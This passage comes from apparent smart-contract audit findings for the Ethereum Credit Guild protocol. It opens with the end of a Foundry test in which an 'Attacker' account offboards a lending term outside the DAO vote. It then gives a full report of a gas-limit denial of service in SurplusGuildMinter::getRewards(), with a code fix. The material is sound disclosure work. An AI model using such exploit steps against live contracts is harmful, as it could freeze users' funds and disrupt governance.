    assertEq(guild.isGauge(address(term)), false);
    guild.addGauge(1, address(term));
    assertEq(guild.isGauge(address(term)), true);

    // Next 30 days
    vm.roll(block.number + 199380); // 30 days
    vm.warp(block.timestamp + 199380 * 13);

    assertEq(guild.isGauge(address(term)), true);
    assertEq(psm.redemptionsPaused(), false);
    assertEq(offboarder.nOffboardingsInProgress(), 0);

    // Attacker offboards the term by overriding the DAO vote offboarding mechanism
    vm.startPrank(Attacker);
    offboarder.offboard(address(term));

    assertEq(guild.isGauge(address(term)), false);
    assertEq(psm.redemptionsPaused(), true);
    assertEq(offboarder.nOffboardingsInProgress(), 1);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Implement a proper mechanism for preventing the (active) lending term offboarding poll from re-triggering the canOffboard[term] flag or deprecating the poll from further voting if the associated lending term has been cleaned up (via the cleanup()).

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L239 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L442-L448 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/test/proposals/gips/GIP_0.sol#L480-L483 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L216 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L116-L119 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L160-L163 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L295 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L240-L242

Vulnerability details

The SurplusGuildMinter::getRewards() can consume too much gas beyond the block gas limit (someday), leading to a denial-of-service (DoS) incident to the protocol's users when the number of lending terms subscribed to by the SurplusGuildMinter contract is too large (over time).

Proof of Concept

When a user executes the SurplusGuildMinter::getRewards(), all credit rewards across all lending terms subscribed to by the SurplusGuildMinter contract are claimed by calling the ProfitManager::claimRewards(). The claimRewards() will iterate over all subscribed lending terms to update all profit indexes and claim all credit rewards, which can consume a lot of gas.

Furthermore, the number of lending terms subscribed to by the SurplusGuildMinter contract can be larger over time, even exceeding the maximum gauges setting since the contract was allowed by the protocol's deployment script.

The following lists functions directly depending on the getRewards():

• SurplusGuildMinter::getRewards() -- itself
• SurplusGuildMinter::stake()
• SurplusGuildMinter::unstake()
• SurplusGuildMinter::updateMintRatio()

Suppose the number of subscribed lending terms is too large and requires gas beyond the block gas limit (someday); every call to the getRewards() and its dependent functions listed above will be reverted, leading to a denial-of-service (DoS) incident to the protocol's users.

Please refer to the Recommended Mitigation Steps section for the solution.

    // FILE: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol
    function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        ...

        // compute CREDIT rewards
@1      ProfitManager(profitManager).claimRewards(address(this)); //@audit -- The getRewards() invokes the claimRewards() to claim all credit rewards across all terms subscribed to by the SurplusGuildMinter contract

@4      uint256 _profitIndex = ProfitManager(profitManager) //@audit -- However, the getRewards() requires only credit reward from the given term for computing the user's credit reward
@4          .userGaugeProfitIndex(address(this), term);
@4      uint256 _userProfitIndex = uint256(userStake.profitIndex);

        ...
    }

    // FILE: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol
    function claimRewards(
        address user
    ) external returns (uint256 creditEarned) {
@2      address[] memory gauges = GuildToken(guild).userGauges(user);
@2      for (uint256 i = 0; i < gauges.length; ) {
@2          creditEarned += claimGaugeRewards(user, gauges[i]); //@audit -- The claimRewards() will claim all credit rewards and update profit indexes from all terms subscribed to by the SurplusGuildMinter contract, which can consume a lot of gas, and the number of subscribed terms can be larger over time. If the number of subscribed lending terms is too large (someday), the calls to the getRewards() and its other dependent functions will be reverted!!
@2          unchecked {
@2              ++i;
@2          }
@2      }
    }

    // FILE: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/test/proposals/gips/GIP_0.sol (The deployment script of the protocol)
    function afterDeploy(address deployer) public {
        ...

@3      GuildToken(AddressLib.get("ERC20_GUILD")).setCanExceedMaxGauges(
@3          AddressLib.get("SURPLUS_GUILD_MINTER"), //@audit -- The configuration in the deployment script that allows the SurplusGuildMinter contract to subscribe to terms over the maximum gauges setting (unlimited!!)
@3          true
@3      );

        ...
    }

• @1 -- The getRewards() invokes the claimRewards() to claim all credit rewards across all terms subscribed to by the SurplusGuildMinter contract: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L239

• @2 -- The claimRewards() will claim all credit rewards and update profit indexes from all terms subscribed to by the SurplusGuildMinter contract, which can consume a lot of gas, and the number of subscribed terms can be larger over time. If the number of subscribed lending terms is too large (someday), the calls to the getRewards() and its other dependent functions will be reverted!!: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L442-L448

• @3 -- The configuration in the deployment script that allows the SurplusGuildMinter contract to subscribe to terms over the maximum gauges setting (unlimited!!): https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/test/proposals/gips/GIP_0.sol#L480-L483

• @4 -- However, the getRewards() requires only credit reward from the given term for computing the user's credit reward: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L240-L242

Impact

Suppose the number of lending terms subscribed to by the SurplusGuildMinter contract is too large and requires gas beyond the block gas limit (someday); every call to the getRewards() and its dependent functions listed below will be reverted, directly affecting the protocol's core functionality and users' assets.

The following lists functions directly depending on the getRewards():

• SurplusGuildMinter::getRewards() -- itself
• SurplusGuildMinter::stake()
• SurplusGuildMinter::unstake()
• SurplusGuildMinter::updateMintRatio()

Tools Used

Manual Review

Recommended Mitigation Steps

To compute the user's credit reward, the getRewards() requires only credit reward from the given lending term. Therefore, we can claim only the credit reward from the given lending term, as shown in the snippet below.

The recommended code below was tested and successfully passed the default unit testing of the protocol.

    function getRewards(
        address user,
        address term
    )
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
        ...

        // compute CREDIT rewards
-       ProfitManager(profitManager).claimRewards(address(this));
+       ProfitManager(profitManager).claimGaugeRewards(address(this), term);
        uint256 _profitIndex = ProfitManager(profitManager)
            .userGaugeProfitIndex(address(this), term);
        uint256 _userProfitIndex = uint256(userStake.profitIndex);

        ...
    }

Assessed type

DoS